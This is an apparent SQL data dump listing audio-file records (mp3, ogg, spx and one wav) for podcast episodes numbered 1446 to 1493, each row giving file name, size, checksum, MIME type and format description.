(1446,'hpr1446.mp3','mp3',22541882,'fdc281cb290a19fdbdb19c18d6b75feb89db8b2c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1446,'hpr1446.ogg','ogg',20913298,'a1d7275a7ef5e21bf37f851074341a65185a1d84','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1446,'hpr1446.spx','spx',10067164,'58d0f53066ed33c830d9e6f5c5eb56fb01445e5a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1447,'hpr1447.mp3','mp3',47408546,'cd757d31f6fa04810bbff5dcad86d98f223d2a20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1447,'hpr1447.ogg','ogg',52407821,'0cac5b677f7e739e0f3e586bd5ff1290b27d2372','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1447,'hpr1447.spx','spx',21172789,'492c042a0693c37ce06597e04e0a6b03c3528b3f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1448,'hpr1448.mp3','mp3',13067284,'b03cc28af6e6a3376f6093bc68fe50224b658bbb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1448,'hpr1448.ogg','ogg',13752450,'58049015bfe26dd61c80f75577a7d5ce74e18b54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1448,'hpr1448.spx','spx',5835732,'2d20d28fe71aeb9e1c95b9a11550b51845cd7254','application/ogg; charset=binary','Ogg data, Speex audio'),
(1449,'hpr1449.mp3','mp3',5586975,'bc77742c2e4cf8d26807b15d8a7c58dd79c7315d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1449,'hpr1449.ogg','ogg',5931190,'b9a434134b0b7d078e2d859397bc57a992a17ecb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1449,'hpr1449.spx','spx',2494830,'723058a31ba97b3102726510237e87d1ee83e61d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1450,'hpr1450.mp3','mp3',12703308,'ba6454e47969a0dc49b68e7dfe0abf644f86f7e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1450,'hpr1450.ogg','ogg',10916510,'9cc28385f039bbf705a6b0538771a472a6f310e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1450,'hpr1450.spx','spx',5673143,'e35b4c053252cdf5f13e506063bc6527eaa5ad97','application/ogg; charset=binary','Ogg data, Speex audio'),
(1451,'hpr1451.mp3','mp3',35702380,'f55b723ec4ff0f93d699a2eba40a33383db26932','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1451,'hpr1451.ogg','ogg',34062528,'48c1455e530bac7a672f6282db16f7c943e07ab0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1451,'hpr1451.spx','spx',15944736,'718e7e6b222ff21a11aaa52abfdcb4279244e6f7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1452,'hpr1452.mp3','mp3',65516216,'549d8e758ac4a866c69cb89efd3ff5098eafe164','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1452,'hpr1452.ogg','ogg',72753611,'57f4d9387a4593ae963f78ce07e075b89ffb12bb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1452,'hpr1452.spx','spx',29259926,'dc680df6a08393474304ca65c101ac6885d860a0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1453,'hpr1453.mp3','mp3',31837884,'c54ef23beba20c5318365abbd2c477a40edd20ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1453,'hpr1453.ogg','ogg',35581026,'e5b7f132a1a7bae17c7a95d8748a97650182ab8a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1453,'hpr1453.spx','spx',14218855,'c67f0f3e43f00e51ad4266732291a570ec678f24','application/ogg; charset=binary','Ogg data, Speex audio'),
(1454,'hpr1454.mp3','mp3',48244245,'571fc335ba55ff0f8e1baada744387ffa39ca633','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1454,'hpr1454.ogg','ogg',53891170,'10d293b30032a27dfd98833506e4621f4bfc6b78','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1454,'hpr1454.spx','spx',21546050,'09bd913cf22b7e5251bba85b1eadec2a84ddbca8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1455,'hpr1455.mp3','mp3',7621169,'f39c7e459cb3d73c4783ee66a3c9801ea364a108','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1455,'hpr1455.ogg','ogg',9120216,'50963fa8cd65cfea5ad48cc37414184471cbe297','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1455,'hpr1455.spx','spx',3403409,'f81bcf19fb5ceb354e4b685e3d4277c038ce7e4b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1456,'hpr1456.mp3','mp3',25527971,'7336314257f18079d58cb5f18509d960d319faa3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1456,'hpr1456.ogg','ogg',22813016,'011c9c41cd70d32d63e6f2a869d79a4b23a1acf2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1456,'hpr1456.spx','spx',11400808,'0f6a896d9ff4843f8624789e81dd01c02fd23a12','application/ogg; charset=binary','Ogg data, Speex audio'),
(1457,'hpr1457.mp3','mp3',24826283,'b5b97371a82d3c68816d5dfa67f13db086ac9f26','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1457,'hpr1457.ogg','ogg',26093175,'dd5c0d3df9ab6671775a3793ad4a657893205e3d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1457,'hpr1457.spx','spx',11087417,'e0b9db1cc771be357d14b937481096863f042e5a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1458,'hpr1458.mp3','mp3',20410021,'95f5d4b79624dfb585162c598a71f73aee927fe4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1458,'hpr1458.ogg','ogg',23484967,'9e650414768322e32edff7758c007f2fb614fdc7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1458,'hpr1458.spx','spx',9115222,'20647d62eb72639c758aa4e8e0cbd1b6518243ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(1459,'hpr1459.mp3','mp3',9113390,'f35d09c4e1882fc534340edd8ac28440b7312f40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1459,'hpr1459.ogg','ogg',11341095,'14938c7b50506b3b2fbaee048cec353a918dfec6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1459,'hpr1459.spx','spx',4069903,'fa3de3739c5c47f11fad311f36e288f51aa7dfca','application/ogg; charset=binary','Ogg data, Speex audio'),
(1460,'hpr1460.mp3','mp3',7913716,'23c91f871108d1a8aafc8f4764e8a7211a27c0a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1460,'hpr1460.ogg','ogg',6921204,'337099dc0737220824536a750e87cbbba11232ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1460,'hpr1460.spx','spx',3534009,'1474596e78fedb96f81cfaff5ef4fcbc1a732d2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1461,'hpr1461.mp3','mp3',11664893,'736bf910fa3d627fabbe7b7d314e2a78622694d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1461,'hpr1461.ogg','ogg',13044363,'bbe4478ccb56dc02ddb5feae0deab95f63c6d14a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1461,'hpr1461.spx','spx',5209337,'9608f270fb9328ecd4ea86209228dbf144bd5d08','application/ogg; charset=binary','Ogg data, Speex audio'),
(1462,'hpr1462.mp3','mp3',11370047,'ce567a5ae7fb449c533aaf4bbb2700cfe497ea90','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1462,'hpr1462.ogg','ogg',14117364,'0c08e2fa436f80ce0fb214345ee9a2ac8e9cfc54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1462,'hpr1462.spx','spx',5077654,'e606aaf9fd6b6f9752213afeb4c72dcb648eee5d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1463,'hpr1463.mp3','mp3',7407544,'ab20f7cc48c6a8e7906a1ae5025057bcc087b95d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1463,'hpr1463.ogg','ogg',7475047,'d619ddcf5e45a10f943b97d8f712c443fac08c27','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1463,'hpr1463.spx','spx',3308007,'a66994e997b6e7ed7ad7f5d1002b2cbc39758bc1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1464,'hpr1464.mp3','mp3',47141513,'26deb7d407ee1093d53928da0ae4e85c739ba36c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1464,'hpr1464.ogg','ogg',50246890,'fb55d0ec29bd21ac370402f16bbebc1962110824','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1464,'hpr1464.spx','spx',21053597,'acb263b2e4a85879146fa8548b628b9dba667cbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1465,'hpr1465.mp3','mp3',12585473,'0995752e96ca02079a3df101aca0e0044d6ec13e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1465,'hpr1465.ogg','ogg',15211590,'f785aa9137f3e2e46e86e869db6b1a7f6f829088','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1465,'hpr1465.spx','spx',5620521,'a945f1d3fc6ce3d2d29cec27e625e4daa8cf6ca3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1465,'hpr1465.wav','wav',72392608,'ccaf70465d1397af6c186bdd8eacdc81754c8cde','audio/x-wav; charset=binary','RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz'),
(1466,'hpr1466.mp3','mp3',14705346,'a2c58e1b2d71e1fb5b0f2e9d2f5e1f8cd27f5b54','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1466,'hpr1466.ogg','ogg',16538207,'ecedbe745d5ab43a4609d69d18c784d1dc3927e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1466,'hpr1466.spx','spx',6567252,'27c038a918d568ade8666988c98b55b15360e6fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1467,'hpr1467.mp3','mp3',2867927,'41000e7383561c375b8dd620dc585e6e6930f886','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1467,'hpr1467.ogg','ogg',2974857,'4a3698b2c8e0834a874f4e3d4eb7e9a623eecc58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1467,'hpr1467.spx','spx',1280551,'c714204a8ecf35453fdaa75bb6e17f21797cc31c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1468,'hpr1468.mp3','mp3',28364151,'9b9571151cc8f4c8f83e2125eff36a4baac320a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1468,'hpr1468.ogg','ogg',29108340,'50d9c7ccfd13f93ffcf7e2fad062d8aa68c7e4be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1468,'hpr1468.spx','spx',12667546,'26806322f559c3082d820a0a641aa5d9feef55df','application/ogg; charset=binary','Ogg data, Speex audio'),
(1469,'hpr1469.mp3','mp3',37695808,'b2146960b405e99efc498825b2ccd006abc6d49e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1469,'hpr1469.ogg','ogg',36132562,'e5bb50ed78aee88e3206a4faef96d89ec03f44b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1469,'hpr1469.spx','spx',16835007,'d7ee291af3f81872726b92b360badabd480f7d64','application/ogg; charset=binary','Ogg data, Speex audio'),
(1470,'hpr1470.mp3','mp3',11538243,'f6306f373c5f4f979ab92c3e7b3661ed934abefa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1470,'hpr1470.ogg','ogg',12982934,'8c2d57025148b157a583b686f6e488cf8a98256c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1470,'hpr1470.spx','spx',5152798,'3bdfdc9e4145180c07b15ad41cfd70488b61c76d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1471,'hpr1471.mp3','mp3',2402907,'e8bb3c211d74713fe8d4129d094a1e54ae0c6048','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1471,'hpr1471.ogg','ogg',2495875,'f9704caf4e335920a3ab64910c48678b5f146f38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1471,'hpr1471.spx','spx',1072877,'b647b4eee2b26282a87dbaf261ff57ab9ac3ffb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1472,'hpr1472.mp3','mp3',6717500,'c89db848820eedfd73e59363b6b0c277063aeabd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1472,'hpr1472.ogg','ogg',8009553,'2876b2dfc297ab4e763dc2f2c01dfcc405d17a98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1472,'hpr1472.spx','spx',2999787,'9ef8b7ae2a299c0912a52c815ad64a7fbe1084bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1473,'hpr1473.mp3','mp3',11079117,'3713f346eae5edc7214e7c368cb95d9d9d55328d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1473,'hpr1473.ogg','ogg',12032533,'6a939342c0eb6b81e1245035418ec2fd38789818','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1473,'hpr1473.spx','spx',4947726,'bb64c6459776876b20c915ac11b56b03267dba7d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1474,'hpr1474.mp3','mp3',42430670,'a7543f4f0810d0f73db976826028e8a44994408c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1474,'hpr1474.ogg','ogg',38389942,'f4507522668591559c46683037f7debaef3c7811','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1474,'hpr1474.spx','spx',18949646,'066e1ced779498c0c3fa47d26f2ac5ba4a29af00','application/ogg; charset=binary','Ogg data, Speex audio'),
(1475,'hpr1475.mp3','mp3',6567697,'e144301e68995ab7a916e16418bf22766f7fbf57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1475,'hpr1475.ogg','ogg',7973912,'7329b959efd523bc685268d50cdeb93e7f29ba8d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1475,'hpr1475.spx','spx',2932915,'b3c1dd82db23f1e48d5aadc74e99560b766ad1bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1476,'hpr1476.mp3','mp3',9509287,'8119e41ce13d61b190eaf681cd9066796690d685','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1476,'hpr1476.ogg','ogg',10293188,'57ae7d7ad1cabee84af4bd44d9d9cd5bba22013d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1476,'hpr1476.spx','spx',4246616,'57ed1b7eafbd59ff9359f8f2d644d6e56daf5265','application/ogg; charset=binary','Ogg data, Speex audio'),
(1477,'hpr1477.mp3','mp3',13764117,'2645d1154ac99d0a6aed7987d7e65380eb931387','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1477,'hpr1477.ogg','ogg',14924068,'e1f8648d1987afa8a8bdfef2bd0bfe99c5591739','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1477,'hpr1477.spx','spx',6146934,'562efb546c76d2730a470745c87c398947cbca5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1478,'hpr1478.mp3','mp3',23067848,'8782456b8ff5e7d84d94d7fd022578c264bbf060','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1478,'hpr1478.ogg','ogg',27479078,'1d973aaf122a89601e5a34e593c88ab415e47012','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1478,'hpr1478.spx','spx',10302035,'a4cf5f9716b53213cc329578c8a4af27d861c34f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1479,'hpr1479.mp3','mp3',7796864,'efecec134c9087d304bf6ef4e3e17c43737b870e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1479,'hpr1479.ogg','ogg',8542184,'6700ff6bbdcef2570eabcb53674080cbf923afcb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1479,'hpr1479.spx','spx',3481791,'dbcc8fca73de923eb09fc8ad701d51a2a2e77edb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1480,'hpr1480.mp3','mp3',9602462,'47d8187e6430df7cb75c6ff424fb3c99f8e6aafc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1480,'hpr1480.ogg','ogg',10832787,'40061ef03dbebba667823e1e3a4739af2ae16f93','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1480,'hpr1480.spx','spx',4288302,'190559dee8cce4d934b0f0ae54527f8fcaf4a7e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1481,'hpr1481.mp3','mp3',7905149,'9674b132c91bf8a7a6a17eaacb780aab4ab3abac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1481,'hpr1481.ogg','ogg',9692598,'31425c2d9694f729cb4308db0d6304c17963e64c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1481,'hpr1481.spx','spx',3530223,'fb192c5749facbc7922a9c9fd7bd5b39203779ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(1482,'hpr1482.mp3','mp3',7508096,'a300b7a6b5a120b9b726aeb73cd0dae44a339e47','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1482,'hpr1482.ogg','ogg',8190277,'f5327b426ce9cca82e111b3e330b4adc3bffa47f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1482,'hpr1482.spx','spx',3352826,'0a9ba4221ba95db177b3a6094bc6905d4751908e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1483,'hpr1483.mp3','mp3',31094375,'a51983b1fc3a736b9b49fedd8380b4ba316cccb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1483,'hpr1483.ogg','ogg',30688858,'4fc50dd209323320ac916a80730a39120b696ee2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1483,'hpr1483.spx','spx',13886724,'a8ecfed8b99816df923332b6f8696837b6327fc1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1484,'hpr1484.mp3','mp3',39029296,'b6bf7c7cbabf83edbb7a008961e53c3373e74911','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1484,'hpr1484.ogg','ogg',41652600,'8d25ca83b31f91c44a375c2621ed14e6d7f66ecd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1484,'hpr1484.spx','spx',17430586,'e651a70ee6527a1034f1c4daf748f220b4e4a3fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1485,'hpr1485.mp3','mp3',10204344,'4434f38ee8f38ce454f44068f2ed47e79072632e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1485,'hpr1485.ogg','ogg',12305270,'c4843197e21887d686baa1a67fb88cffa27fffd5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1485,'hpr1485.spx','spx',4556982,'d9cc9e8b1aece1ab1dbd8960cf7853e7de2a1677','application/ogg; charset=binary','Ogg data, Speex audio'),
(1486,'hpr1486.mp3','mp3',57782734,'71fac0eef61336f83c2091e0ee45a2eed0fcbaba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1486,'hpr1486.ogg','ogg',65600295,'5a5d19dcf64850714002b38dedb85307469e35ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1486,'hpr1486.spx','spx',25806059,'2a59c9526dfb3e75f012744b74960f4cb415dbbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1487,'hpr1487.mp3','mp3',3012501,'f5bee4ed56397be6ae0b28868358e5eab4230fa9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1487,'hpr1487.ogg','ogg',3232368,'cddb2dddf956f696c8e6977e6d1e1cc836d97860','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1487,'hpr1487.spx','spx',1345101,'49d8313b39d2f0c98a2b16cc67205f394e89985f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1488,'hpr1488.mp3','mp3',8931455,'146e4d1c7031e42f3d4dd444a77f1610f00f81ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1488,'hpr1488.ogg','ogg',10575428,'a416e0e9166d3e75a2fd25c03cd65792dcb151a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1488,'hpr1488.spx','spx',3988543,'ca08c5c1a01b347d21bb3cd83cf71f57be41c4ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1489,'hpr1489.mp3','mp3',24609725,'1080c7fbf25676b943b9a0a00b99fe36082d74e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1489,'hpr1489.ogg','ogg',27752644,'39fcd04c009b696a4b3ee245a073d3adccb4c027','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1489,'hpr1489.spx','spx',10990689,'3463e77f67060b8810410a1a7a7eacc14adc5806','application/ogg; charset=binary','Ogg data, Speex audio'),
(1490,'hpr1490.mp3','mp3',11553322,'08d1f18c0b122b398ac51236a9328d43f8ed7f27','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1490,'hpr1490.ogg','ogg',12200974,'0733fcc3699f43314ea586c88701e5a131474727','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1490,'hpr1490.spx','spx',5159550,'d843683e48404975081380929f4281874ec52fe7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1491,'hpr1491.mp3','mp3',10379636,'df85ec5879233e2ae0cc8a20e838c5642c20dae5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1491,'hpr1491.ogg','ogg',9198393,'5ca74d71a1c245961554a14fe8033ed7c1693052','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1491,'hpr1491.spx','spx',4635304,'1041d24b1fa709417f177733cae4a60570b879d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1492,'hpr1492.mp3','mp3',16926606,'79e8c475df2d9efea4a0cab10c9877ff6c221a30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1492,'hpr1492.ogg','ogg',17917035,'807ba6d9f473fb01046f5508025d55e65b7e26e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1492,'hpr1492.spx','spx',7559235,'9e9491919d0156fc6dac850625024a9601081fc4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1493,'hpr1493.mp3','mp3',16844863,'72c16155a27c710776179d1cc68996368ab16eab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1493,'hpr1493.ogg','ogg',16366622,'d662a4526e6eddcad179c26e1dd7ee4f94cf43b8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
